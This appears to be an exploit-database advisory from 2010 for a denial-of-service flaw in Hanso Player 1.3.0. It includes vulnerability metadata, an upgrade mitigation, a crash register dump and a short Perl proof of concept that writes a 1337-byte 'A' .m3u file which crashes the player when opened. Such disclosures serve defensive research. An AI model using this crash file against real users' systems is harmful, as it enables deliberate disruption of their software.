Hanso Player Version 1.3.0 (.m3u) DoS

vendor:

Hanso Player

by:

xsploited security

7,5

CVSS

HIGH

Denial of Service

400

CWE

Product Name: Hanso Player

Affected Version From: 1.3.0

Affected Version To: 1.3.0

Patch Exists: YES

Related CWE: N/A

CPE: a:hansotools:hanso_player

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP Pro SP3

2010

Hanso Player Version 1.3.0 (.m3u) DoS

Hanso Player version 1.3.0 is vulnerable to a Denial of Service attack when a specially crafted .m3u file is opened. The application crashes when a file containing 1337 bytes of 'A' characters is opened. This vulnerability can be exploited by an attacker to crash the application.

Mitigation:

Upgrade to the latest version of Hanso Player.

Source

Exploit-DB raw data:

# Exploit Title: Hanso Player Version 1.3.0 (.m3u) DoS
# Date: 10/02/2010
# Author: xsploited security
# Software Link: http://www.hansotools.com/downloads/hanso-player-setup.exe
# Version: 1.3.0
# Tested on: Windows XP Pro SP3
# CVE : N/A

#########################################################
#EAX 00000001
#ECX 80567B8E
#EDX EDD619A0
#EBX 003E320C ASCII "h    "
#ESP 0103FF24
#EBP 0103FF58
#ESI 0103FF80
#EDI 001610D0
#EIP 7C90E460 ntdll.KiUserCallbackDispatcher

#Process terminated, exit code C0000409 (-1073740791.)
#########################################################

#!/usr/bin/perl
my $file = "crash.m3u";
my $junk = "\x41" x 1337;
open($FILE,">$file");
print $FILE $junk;
print "\ncrash.m3u file created successfully\n1.) Open it with Hanso player\n2.) Application failure...\n";
close($FILE);